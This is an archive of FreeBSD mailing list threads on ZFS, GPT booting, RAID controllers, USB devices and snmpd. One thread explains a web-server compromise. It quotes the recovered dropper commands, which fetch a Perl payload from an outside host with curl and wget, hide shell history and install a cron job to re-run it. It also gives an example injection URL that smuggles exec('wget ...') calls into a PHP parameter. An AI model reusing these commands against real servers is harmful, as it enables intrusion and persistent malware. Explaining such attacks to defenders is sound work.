On Tue, Mar 16, 2010 at 01:40:25AM +0200, Dan Naumov wrote: > After looking at the arc_summary.pl script (found at > http://jhell.googlecode.com/files/arc_summary.pl), I have realized > that my system has set vfs.zfs.prefetch_disable=1 by default, looking > at dmesg, I see: > > = > ZFS NOTICE: Prefetch is disabled by default if less than 4GB of RAM is > present; > to enable, add "vfs.zfs.prefetch_disable=0" to /boot/loader.conf. > = > > ...except I do have 4gb of RAM. Is this caused by integrated GPU > snatching some of my memory at boot? From dmesg: > > = > real memory = 4294967296 (4096 MB) > avail memory = 4088082432 (3898 MB) > = I've blogged about this problem when testing out 8.0-RC1. See the bottom third of my post for an explanation: http://koitsu.wordpress.com/2009/10/12/testing-out-freebsd-8-0-rc1/ The message is confusing/badly worded, despite having gone through numerous commits to change its wording. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: 8.0 on new hardware and a few errors, should I be worried?
On Sun, Feb 28, 2010 at 03:28:48AM +0200, Dan Naumov wrote: > Additionally, while building a whole bunch of ports on this new system > (about 30 or so, samba, ncftp, portaudit, bash, the usual suspects), I > noticed the following in my logs during the build process: > > -- > Feb 27 21:24:01 atombsd kernel: pid 38846 (try), uid 0: exited on > signal 10 (core dumped) > Feb 27 22:17:49 atombsd kernel: pid 89665 (conftest), uid 0: exited on > signal 6 (core dumped) > -- This is intentional/normal, believe it or not. It's by-design as part of some compiler tests that autoconf (or the software that uses autoconf) induces. Thanks, GNU! FreeBSD logs these to the console by default; the sysctl to control this behaviour is kern.logsigexit. -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
GEOM: the secondary GPT table is corrupt
Do you have any idea how to clear up: GEOM: mirror/gm0: the secondary GPT table is corrupt or invalid. GEOM: mirror/gm0: using the primary only -- recovery suggested. It has not caused any issues, but I'd still like to eliminate the errors without causing data loss. I have two WD drives in a software mirror booting freenas from a USB stick. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: booting off GPT partitions
On Wed, Jan 27, 2010 at 06:45:36PM +0200, Dan Naumov wrote: > I was under the impression that everyone and their dog is using GPT > partitioning in FreeBSD these days, including for boot drives and that > I was just being unlucky with my current NAS motherboard (Intel > D945GCLF2) having supposedly shaky support for GPT boot. But right now > I am having an email exchange with Supermicro support (whom I > contacted since I am pondering their X7SPA-H board for a new system), > who are telling me that booting off GPT requires UEFI BIOS, which is > supposedly a very new thing and that for example NONE of their current > motherboards have support for this. > > Am I misunderstanding something or is the Supermicro support tech misguided? For what it's worth, I've never encountered any production x86 system that I've worked on (Linux, FreeBSD, Solaris 10, or OpenSolaris) which has used GPT. I don't know who's giving you the impression that "everyone and their dog is using GPT". Why is this feature a deal-breaker for you? Why are you giving it so much attention? -- | Jeremy Chadwick j...@parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Invitation to connect on LinkedIn
On 2009-Nov-18 10:13:17 -0600, David Kelly wrote: >On Wed, Nov 18, 2009 at 01:07:46AM -0800, Andrei Antoukh wrote: >> LinkedIn >> >> >> Andrei Antoukh requested to add you as a connection on LinkedIn: >> -- > >Why isn't LinkedIn in FreeBSD.org's spam blocker? I have raised this with postmaster@ and he is investigating how to block this spam. -- Peter Jeremy pgpPzDB5BrVIV.pgp Description: PGP signature
Re: questions about FreeBSD
2009/8/31 James Phillips : ... >> I have some questions about FreeBSD. The questions I had in >> mind are: > > Such general questions imply "homework assignment." Indeed, I found "General features (at least three)? Firewall, GUI, Networking and so on." quite amusing. I am surprised he didn't include the marking scheme for us and his teacher's email address so that we could save him the bother of handing it in. > Somebody already replied with a link to the Handbook: It mainly covers > installing and configuring FreeBSD. If that were the only response, he probably would have just printed the handbook out and handed it in - given the amount of effort he took to hide the fact that it was a home work question. That said, he *might* actually learn something about FreeBSD, which is probably more than can be said for the rest of his class. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Hi Colin.
I thought I'd just add my tuppence here. Some time ago I suffered a
similar exploit, albeit on a Linux box, with Apache and a different
PHP web app (Horde if I recall correctly).
There are a number of ways your server could have been comprised via a
PHP webapp, and a mailling list probably isn't the best place to give
you a tutorial on the likes of cross-site scripting and code injection.
What I can do is tell you roughly how my site was infected via a code
injection - to give you an idea of how important it is to learn more
about it if you are running a webserver (espescially one with third
party web apps installed).
In my case, I was able to learn quite a bit about how the exploit was
performed by looking in my Apache logs. Primarily because the attack
exploited an HTTP GET variable, so I could actually grep the name of
the script that was download from the logs. Basically all it took was
for someone to construct a URL similar to the following*:
http://www.myserver.com/vulnerable_script.php?unchecked_variable="some_value;
exec('wget http://evil.url/virus.pl -O /tmp/virus.pl');
exec('/tmp/virus.pl')";
All it needs then is a bit of code on the server side which uses the
GET variable verbatum to build a line of code without checking the
variable. If the above variable were used in the construction of a
line of PHP, in an (extra) unsafe manner, you would end up with
several lines of PHP. Clearly building code from a user supplied
variable is a very bad idea, and doing so without checking the
variable... - however it isn't unheard of in the world of third
party web apps (it isn't unheard of in in-house web apps either,
however because that are not so widespread there is less chance
that the exploit will be found, and probably less to gain from
exploiting it).
The attack against your server was almost certainly automated and most
likely not even targetted at you. If you check your error logs, you
will probably see lots of 'file not found' and similar errors, testing
for vulnerabilities in ASP scripts and PHP web apps which you don't
have installed - in much the same way that you will have SSH login
failures for users who don't exist on your system.
Using an incoming and outgoing firewall is clearly a must on a
dedicated web server. Running an outgoing server on your desktop is
a bit more complicated as you would probably want to allow certain
applications to setup outgoing connections. I don't know how you
do this on a FreeBSD system.
However something that no one seems to have mentioned yet is running
an application level firewall to protect your web server, this is
particularly important if you are running popular third party web
applications. Once a flaw has been found in a popular web app, it is
very easily for the malware writers to attempt to exploit this on
thousands of webservers. A web application firewall, such as
Mod_Security for Apache (not sure what is available for lighttpd),
will check the traffic to your HTTP server for any irregularities,
known exploits and potential exploits.
HTH
Jeremy
* the URL I wrote probably isn't even valid, it is just a
demonstration, so just treat it as psuedocode.
2009/8/27 Colin Brace :
>
>
> Colin Brace wrote:
>>
>> ah, another directory found in /tmp with files written by www called
>> .bash/ Contents here:
>>
>> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
>>
> Apropos of the contents of the above, a correspondent writes:
>
> [...]
> running 'strings' on /tmp/owned will show
> "HISTFILE=/dev/null
> cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> echo '*/1 * * * * perl /tmp/tmpfile' >cron.job
> crontab cron.job
> rm -rf cron.job
> chmod 0100 /tmp/tmpfile 2>&1 >/dev/null
> perl /tmp/tmpfile 2>&1 >/dev/null"
> [...]
>
> So this would be the original mischief-maker.
>
> Just out of curiousity, can someone explain to me in basic terms how an
> intruder exploits a vulnerability such as apparently existed on my system
> (the RoundCube webmail package was apparently the culprit) to place the
> binary file "owned" in /tmp and execute it?
>
> Thanks
>
> -
> Colin Brace
> Amsterdam
> http://lim.nl
> --
> View this message in context:
> http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
> Sent from the freebsd-questions mailing list archive at Nabble.com.
>
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
>
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Yubikey
Has anybody gotten a Yubikey to work with FreeBSD? It attaches as a uhid device on both 7 and 8. ugen5.5: at usbus5 uhid0: on usbus5 For those not familiar with a Yubikey it is a usb device that attaches as a keyboard and when the button is pressed it generates a 44 character One Time Password (OTP) and inputted into the computer as if it were typed. Unfortunately with FreeBSD 7 & 8 I'm not able to get that output. Under NetBSD the Yubikey does get attached as a keyboard and works perfectly. Any thoughts on how to get the Yubikey to attach as a keyboard under FreeBSD? I've attached the output of 'lsusb -d 1050:0010 -v > ~/yubikey-lsusb.txt' from the ports/sysutils/usbutils port -- Jeremy Faulkner Bus /dev/usb Device /dev/ugen5.5: ID 1050:0010 Device Descriptor: bLength18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 8 idVendor 0x1050 idProduct 0x0010 bcdDevice1.32 iManufacturer 1 Yubico iProduct2 Yubico Yubikey Touch iSerial 0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 34 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xa0 (Bus Powered) Remote Wakeup MaxPower 30mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 3 Human Interface Device bInterfaceSubClass 0 No Subclass bInterfaceProtocol 0 None iInterface 0 HID Device Descriptor: bLength 9 bDescriptorType33 bcdHID 1.11 bCountryCode0 Not supported bNumDescriptors 1 bDescriptorType34 Report wDescriptorLength 71 Report Descriptor: (length is 71) Item(Global): Usage Page, data= [ 0x01 ] 1 Generic Desktop Controls Item(Local ): Usage, data= [ 0x06 ] 6 Keyboard Item(Main ): Collection, data= [ 0x01 ] 1 Application Item(Global): Usage Page, data= [ 0x07 ] 7 Keyboard Item(Local ): Usage Minimum, data= [ 0xe0 ] 224 Control Left Item(Local ): Usage Maximum, data= [ 0xe7 ] 231 GUI Right Item(Global): Logical Minimum, data= [ 0x00 ] 0 Item(Global): Logical Maximum, data= [ 0x01 ] 1 Item(Global): Report Size, data= [ 0x01 ] 1 Item(Global): Report Count, data= [ 0x08 ] 8 Item(Main ): Input, data= [ 0x02 ] 2 Data Variable Absolute No_Wrap Linear Preferred_State No_Null_Position Non_Volatile Bitfield Item(Global): Report Count, data= [ 0x01 ] 1 Item(Global): Report Size, data= [ 0x08 ] 8 Item(Main ): Input, data= [ 0x01 ] 1 Constant Array Absolute No_Wrap Linear Preferred_State No_Null_Position Non_Volatile Bitfield Item(Global): Report Count, data= [ 0x05 ] 5 Item(Global): Report Size, data= [ 0x01 ] 1 Item(Global): Usage Page, data= [ 0x08 ] 8 LEDs Item(Local ): Usage Minimum, data= [ 0x01 ] 1 NumLock Item(Local ): Usage Maximum, data= [ 0x05 ] 5 Kana Item(Main ): Output, data= [ 0x02 ] 2 Data Variable Absolute No_Wrap Linear Preferred_State No_Null_Position Non_Volatile Bitfield Item(Global): Report Count, data= [ 0x01 ] 1 Item(Global): Report Size, data= [ 0x03 ] 3 Item(Main ): Output, data= [ 0x01 ] 1 Constant Array Absolute No_Wrap Linear Preferred_State No_Null_Position Non_Volatile Bitfield Item(Global): Report Count, data= [ 0x06 ] 6 Item(Global): Report Size, data= [ 0x08 ] 8 Item(Global): Logical Minimum, data= [ 0x00 ] 0 Item(Global): Logical Maximum, data= [ 0x65 ] 101 Item(Global): Usage Page, data= [ 0x07 ] 7 Keyboard Item(Local ): Usage Minimum, data= [ 0x00 ] 0 No Event Item(Local ): Usage Maximum, data= [ 0x65 ] 101
Re: netbooks vs FreeBSD
On 2009-May-27 09:47:24 +0200, Stephan Lichtenauer wrote: >>> Acer Aspire ONE. I haven't got comments from these lists about that >> I have the SSD version and everything except the webcam and suspend/ >> resume works out of the box. > >What FreeBSD version are you using? FreeBSD 8-current. -- Peter Jeremy pgpQX2rJtVXZY.pgp Description: PGP signature
Re: netbooks vs FreeBSD
On 2009-May-24 15:33:43 +0200, Gabor Kovesdan wrote: >Acer Aspire ONE. I haven't got comments from these lists about that >model in particular but I googled a bit and it seems mostly everything >works with it. I have the SSD version and everything except the webcam and suspend/ resume works out of the box. With WiFi and camera turned off, I can get over 3 hrs on the std battery doing things like locally reading mail. I have a USB 3G dongle and it's quite power-hungry (1/4 to 1/3 of total power consumption). -- Peter Jeremy pgpRGOI9743th.pgp Description: PGP signature
Re: My FreeBSD-current/Xen install notes
On 2009-May-20 08:30:09 +0800, Adrian Chadd wrote: >Xen also lets you write "other" OSes without needing to care about the >hardware. One of my friends bootstrapped a toy OS of his inside Xen. >He can then run it on any and all Xen boxes, unmodified, regardless of >the underlying hardware. That really hasn't been exploited to its full >potential though. This isn't a particularly new idea: The 'CMS' part of IBM VM/CMS was a hypervisor-aware OS that couldn't run on bare metal. Relying on the hypervisor for some "traditional" OS services offers plenty of scope for interesting developments. One area would be in University Operating Systems courses - it would again be possible to offer practical coursework on operating systems that are comprehendable in their entirety (ala V6 and Minix). -- Peter Jeremy pgpJlQcTtVSmP.pgp Description: PGP signature
Help needed w/ HighPoint RocketRAID 3120 on FreeBSD 7.1-RELEASE
I'm having trouble with HighPoint RocketRAID 3120 on FreeBSD 7.1-RELEASE. I have 2 disks on it in a mirror configuration. Everything seems to go swimmingly through the FreeBSD installation, up until the final reboot... 1) Boot from Disc 1. 2) At the "Welcome to FreeBSD" screen, choose option "6" ok load hptiop ok boot 3) It recognizes my mirror as device "da0" and I proceed with the installation. 4) I install all distros, except X.org & Ports. 5) At the tail end, before rebooting, I enter a shell and vi /boot/loader.conf. I add the line: hptiop_load="YES" 6) REBOOT. The following happens... a) RocketRAID card beeps b) I see the BIOS splash screen c) I see RocketRAID splash screen d) It resets and repeats everything above. I never even get a boot loader menu to try troubleshooting. What did I miss? Why can't this thing boot? Unfortunately, HighPoint's User Manual was last updated in 2007, when FreeBSD 6.1 was the latest. Since then, the hptiop driver was added to 7.x, and that's what I'm trying to use. To be clear, the problem isn't that I can get FreeBSD to mount and recognize it, I can. The problem is being able to boot from it. -- I have followed what little there is at... http://www.freebsd.org/cgi/man.cgi?query=hptiop&sektion=4&manpath=FreeBSD+7.1-RELEASE http://tinyurl.com/8fat37 All 3 device statements are in the /usr/src/sys/amd64/conf/GENERIC file, by default. I put the hptiop_load="YES" statement into the /boot/loader.conf file. Their user manual is at... http://www.highpoint-tech.com/PDF/RR3120/RR3120_UM_EN_10_111307_AP.pdf http://tinyurl.com/9cwwwj But, it only has instructions up to FreeBSD 6.1, and they don't seem to apply any more to the 7.x version, which has the hptiop(4) driver in the GENERIC kernel. In other words, their instructions for a driver diskette are meaningless. I was led to believe that these cards were compatible with all modern versions of FreeBSD, especially since it's on the hardware compatibility list... http://www.freebsd.org/releases/7.1R/hardware.html http://tinyurl.com/8b9ovl -- My /boot/loader.conf file is... hptiop_load="YES" Here's my dmesg, but note the following: -I had to boot from the Live FS CD. -Before booting, I chose option "6" for the ok prompt. -I entered: load hptiop -Upon bootup, I chose the Live FS shell. -Note wa down at the bottom, the 5th & 6th lines from the bottom, the da0 device. Sure, it works great booting from the CD, but how about booting from itself ?! Now, onto the dmesg... Copyright (c) 1992-2009 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.1-RELEASE #0: Thu Jan 1 08:58:24 UTC 2009 r...@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: AMD Phenom(tm) 9600 Quad-Core Processor (2304.92-MHz K8-class CPU) Origin = "AuthenticAMD" Id = 0x100f22 Stepping = 2 Features=0x178bfbff Features2=0x802009> AMD Features=0xee500800 AMD Features2=0x7ff,,,Prefetch,,> Cores per package: 4 usable memory = 4007813120 (3822 MB) avail memory = 3846344704 (3668 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 4 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 cpu2 (AP): APIC ID: 2 cpu3 (AP): APIC ID: 3 ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) acpi0: reservation of 0, a (3) failed acpi0: reservation of 10, bfde (3) failed Timecounter "ACPI-safe" frequency 3579545 Hz quality 850 acpi_timer0: <32-bit timer at 3.579545MHz> port 0x4008-0x400b on acpi0 acpi_hpet0: iomem 0xfed0-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 acpi_button0: on acpi0 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vgapci0: port 0xee00-0xeeff mem 0xd000-0xdfff,0xfdae-0xfdae,0xfd90-0xfd9f irq 18 at device 5.0 on pci1 pci1: at device 5.1 (no driver attached) pcib2: irq 18 at device 6.0 on pci0 pci2: on pcib2 hptiop0: adapter at PCI 2:0:0, IRQ 18 hptiop0: mem 0xfd60-0xfd6f,0xfd7f-0xfd7f,0xfc80-0xfcff irq 18 at device 0.0 on pci2 hptiop0: 0 RocketRAID 3xxx/4xxx controller driver v1.3 (010208) hptiop0: [GIANT-LOCKED] hptiop0: [ITHREAD] pcib3: irq 18 at device 10.0 on pci0 pci3: on pcib3 re0: port 0xce00-0xceff mem 0xfddff000-0xfddf,0xfdde-0xfdde irq 18 at device 0.0 on pci3 re0: Chip rev. 0x3c00 re0: MAC rev. 0x0040 miibus0: on re0 rgephy0: PHY 1 on miibus0 rgephy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto re0: Ethernet address: 00:1f:d0:9f:04:73 re0: [FILTER] atapci0: port 0xf
Re: kernel panic
On 2009-Jan-09 00:05:47 -0800, Kamlesh Patel wrote: >How do i recover the system from this error. I can't reload the loader.old If you press any key during the first spinner, you should get a prompt similar to the following: >> FreeBSD/i386 BOOT Default: 0:ad(0,a)/boot/loader boot: You can then enter the name of the program you wish to run - eg /boot/loader.old (or directly load /boot/kernel/kernel) See the following for a more complete description: http://www.freebsd.org/cgi/man.cgi?query=boot&apropos=0&sektion=0&manpath=FreeBSD+7.1-RELEASE&format=html -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. pgpGuVVF4OejW.pgp Description: PGP signature
Re: Problems installing FreeBSD 7.0
On 2008-Dec-23 20:32:38 +0100, Jack Raats wrote: >> Can you try to paste exactly what was on the screen before the "freeze" >> for >> both 6.4 and 7.0? > >How can I do this if the systeem freezes??? Take a photo and put it up somewhere (http://imagebin.ca/ if nowhere else). If scroll lock still works, you can take pictures of earlier output (and if caps/scroll/num lock don't work, that is a useful piece of information). -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. pgp7MuaXmUzVi.pgp Description: PGP signature
Re: Problems installing FreeBSD 7.0
On 2008-Dec-24 17:29:05 +0100, Jack Raats wrote: >Main problem is: >ad0: FreeBSD check1 failed This is produced when the ATA subsystem is trying to read RAID metadata off the disk and just means it failed to find any. It's not an error. Can you post more context please. -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. pgpTdruFiT2UV.pgp Description: PGP signature
Re: motd not compiled properly or ?
On Thu, Nov 20, 2008 at 01:57:54PM +1030, Lei Chen wrote: > I have compiled myself a RELENG_7 stable version of 7 branch. > > I did a fresh install on 7.1_prerelease, and cvsup -g -L 2 > stable-xxx-cvsup-file > make buildworld, everything goes as it should. > > reboot, mergemaster command shows on file "motd" > --7.1_PRERELEASE > ++7??:??:?? > rest of motd is the same > > now, based on the above showed result, I pressed "d" to keep original > version, because I don't want to have a system message shows 7:??:??:?? > > Now my question is, how do I just compile the "motd" in source tree, and > reinstall just that? Maybe recompile it may make it shows proper version > string. > Or if there's a method beside make buildworld again, it takes ages on my > laptop. Simply put: you don't have to do anything. FreeBSD's rc.d system updates the first line of the motd automatically; see /etc/rc.d/motd. I highly recommend placing the following into /etc/mergemaster.rc: # Do not compare template motd to /etc/motd IGNORE_MOTD=yes This will cause mergemaster to skip comparing motd, but WILL NOT affect the use of /etc/rc.d/motd. Hope this helps. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: snmpd strangeness
On Wed, Nov 19, 2008 at 03:47:05PM -0500, John Almberg wrote: >>> The card in the box is a >>> >>> Intel 18E PCI-Express x8 SAS/SATA2 Hardware ROMB RAID with 128MB >>> Memory >>> Module and 72 Hour Battery Backup Cache >>> >>> $625 as shown on the packing list, so I hope it's a good one. >> >> Ah, I think it's hardware RAID, and PCIe to boot. Yes, I would >> recommend keeping that! What does it show up as under FreeBSD? I'm >> curious what driver it uses, and what your disks show up as (daX or >> adX; >> probably daX). > > H'mmm... You are revealing great gaps in my knowledge today, Jeremy. Not > that that's hard to do... > > I've been looking in dmesg.boot and fstab for clues... Not sure if that > is where I should be looking, but I figured there would be mount > messages in dmsg.boot. Unfortunately, there is a whole bunch of stuff in > there I have no clue about. Fascinating reading, though! > > Does mf0/mf1 sound correct? > > If not, how would I find the driver info? Typical line in fstab: > > /dev/mfid0s1a / ufs rw 1 1 That's mfi(4), which is kinda "its own thing" (neither daX nor adX). Still perfectly usable/decent, and Scott Long (as I call him, "famous SCSI guy" ;-) ) wrote the driver, so support for it should be available. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: snmpd strangeness
On Wed, Nov 19, 2008 at 02:37:05PM -0500, John Almberg wrote: >>> This machine has an Intel motherboard and a hardware raid controller. >>> From what I can tell, there is some Intel software installed on the >>> machine that makes hardware faults visible to snmp. >> >> That would require Net-SNMP to be linked to that software (or library) >> directly. Two things can't just "magically talk" to one another. :-) > > As I said, I really have no idea. > > Now that I'm reading more deeply in the notes... the monitoring was > supposed to be with IPMI. No idea what that is, either, but I thought > I'd toss it into the mix. Ah, IPMI... it's another one of those technologies which is a great idea, but often horribly implemented. The most common use is for remote management (serial-over-IP, or even KVM-over-IP), access to hardware sensors (fans, temps, voltages), and for some other monitoring-related things. It's very useful -- when it works. :-) On Intel boards (native Intel IPMI) it might be great. There's been a lot of problem reports with Supermicro's IPMI, and most are IPMI card firmware bugs. >> I just hope the card is an actual RAID card and not BIOS-level RAID >> like >> Intel MatrixRAID. If it is MatrixRAID, I highly recommend you back >> the >> entire machine up and reinstall without MatrixRAID, otherwise when you >> lose a disk or need to rebuild your array, you'll find your array >> broken/gone, be completely unable to rebuild it, or kernel panics. >> Note >> that all of this stuff works just fine on Linux; the issues listed are >> with FreeBSD. >> >> Generally speaking, we (the open-source world) have gotten to the >> point >> with OS-based software RAID (e.g. Linux LVM, FreeBSD ccd/gvinum/ZFS, >> OpenSolaris ZFS) where it offers significant advantages over hardware >> RAID. There are good reasons to use hardware RAID, but in those >> scenarios admins should be looking at buying an actual filer, e.g. >> Network Appliance. Otherwise, for "simple" systems (even stuff like >> 2U or 3U boxes with many disks, e.g. a "low-cost filer"), stick with >> some form of OS-based software RAID if possible. >> > > That's good to know. I was told just the opposite by the guy selling the > $650 RAID cards. Who'd have thunk? Well, hardware RAID has a specific purpose. I like them for the fact that they add a layer of abstraction in front of the OS; that is to say, some of them are bootable even with RAID-5. FreeBSD's bootloader has a lot of difficulty booting off of different things, so adding a layer of abstraction in front is useful. For example, take into consideration that you can't get kernel panic dumps (to disk) using gmirror without a bunch of rigmarole. I forget which GEOM method it is, but one of them you can't boot off of easily. gvinum? geli? I can't remember. There's one or two that the bootstraps don't work with. Hardware RAID can help solve that. > The card in the box is a > > Intel 18E PCI-Express x8 SAS/SATA2 Hardware ROMB RAID with 128MB Memory > Module and 72 Hour Battery Backup Cache > > $625 as shown on the packing list, so I hope it's a good one. Ah, I think it's hardware RAID, and PCIe to boot. Yes, I would recommend keeping that! What does it show up as under FreeBSD? I'm curious what driver it uses, and what your disks show up as (daX or adX; probably daX). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: snmpd strangeness
On Wed, Nov 19, 2008 at 12:34:55PM -0500, John Almberg wrote: >>> Now I'm curious about snmp, so perhaps I'll try to figure out how to >>> get >>> it to something useful. This machine has 8 hard drives, and is >>> located in >>> Manhattan, so I would certainly like to be informed if one of the >>> raid >>> drives went on the blink. That was one of the things he was trying >>> to get >>> working. >> >> Net-SNMP won't give you the status of the RAID. Neither will bsnmpd >> (10. >> FreeBSD simply does not have the hooks to make this possible. Someone >> needs to write the code. I do not recommend relying on shell scripts >> tied into Net-SNMP to accomplish this either (for a lot of very good >> reasons); write the code in native C. >> >> It also greatly depends on what you're using for RAID. If a hardware >> controller, good luck getting the status out of an API natively (sans >> Areca, which I believe offers an API) -- you'll resort to shell >> scripts >> and CLI binaries, in which case you're *easily* better off with a >> cronjob, periodic(8), or a log monitor daemon. > > This machine has an Intel motherboard and a hardware raid controller. > From what I can tell, there is some Intel software installed on the > machine that makes hardware faults visible to snmp. That would require Net-SNMP to be linked to that software (or library) directly. Two things can't just "magically talk" to one another. :-) AFAIK, Intel does not provide such software on FreeBSD, but I could be complete wrong here. They primarily focus on Linux, like most companies do. > That last sentence makes it sound like I know more than I do about this > situation. I'm just reading from notes. :-) > > And I have an Intel disk that came with the motherboard that hints at > the same type of thing. I've just scanned the docs on the disk... looks > extraordinarily complicated. I don't know what controller it is, but Net-SNMP doesn't have any sort of out-of-the-box support for any kind of RAID card. See above for what's needed. I just hope the card is an actual RAID card and not BIOS-level RAID like Intel MatrixRAID. If it is MatrixRAID, I highly recommend you back the entire machine up and reinstall without MatrixRAID, otherwise when you lose a disk or need to rebuild your array, you'll find your array broken/gone, be completely unable to rebuild it, or kernel panics. Note that all of this stuff works just fine on Linux; the issues listed are with FreeBSD. Generally speaking, we (the open-source world) have gotten to the point with OS-based software RAID (e.g. Linux LVM, FreeBSD ccd/gvinum/ZFS, OpenSolaris ZFS) where it offers significant advantages over hardware RAID. There are good reasons to use hardware RAID, but in those scenarios admins should be looking at buying an actual filer, e.g. Network Appliance. Otherwise, for "simple" systems (even stuff like 2U or 3U boxes with many disks, e.g. a "low-cost filer"), stick with some form of OS-based software RAID if possible. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: snmpd strangeness
On Wed, Nov 19, 2008 at 12:11:36PM -0500, John Almberg wrote: > > On Nov 19, 2008, at 11:49 AM, Jeremy Chadwick wrote: > >> On Wed, Nov 19, 2008 at 10:57:50AM -0500, John Almberg wrote: >>> I just noticed something odd and am looking for ideas... >>> >>> As you can see from the top snippet below, snmpd is getting hammered >>> by >>> something. As a comparison, the load averages for this quad-core >>> box are >>> usually close to zero. >>> >>> I'm not even sure I'm using snmpd for anything... not even sure what >>> it >>> is, precisely. >>> >>> I'm digging into docs at the moment, but any ideas much appreciated. >> >> I'm greatly concerned by the fact that you have a process on your >> machine taking up 103% CPU time (possible on a quad-core machine), >> taking up 2621MBytes of memory (RSS), yet you have no idea what it is, >> what SNMP is, or why said process is running on your machine. :-) > > That's an easy one to answer... Someone else installed FreeBSD on this > machine. I have figured out MOST of what is on this box, but I'm > occasionally surprised, like in this case. > > However, now that I've read through the installer's notes, I see that he > had exotic plans for snmp monitoring. From what I can tell, he never got > it working properly. Interesting. For "small" installations, e.g. super simple monitoring, most people prefer to use bsnmpd(1), which comes with FreeBSD. The docs are a bit sparse though, and the config syntax is weird + touchy. I've tinkered a bit with it though. > In the meantime, I killed off the process. I had to take a sledgehammer > to it, since a normal stop didn't work: > > [EMAIL PROTECTED]:log]> sudo /usr/local/etc/rc.d/snmpd stop > Stopping snmpd. > Waiting for PIDS: 45136t, 45136op, 45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136, 45136, 45136, 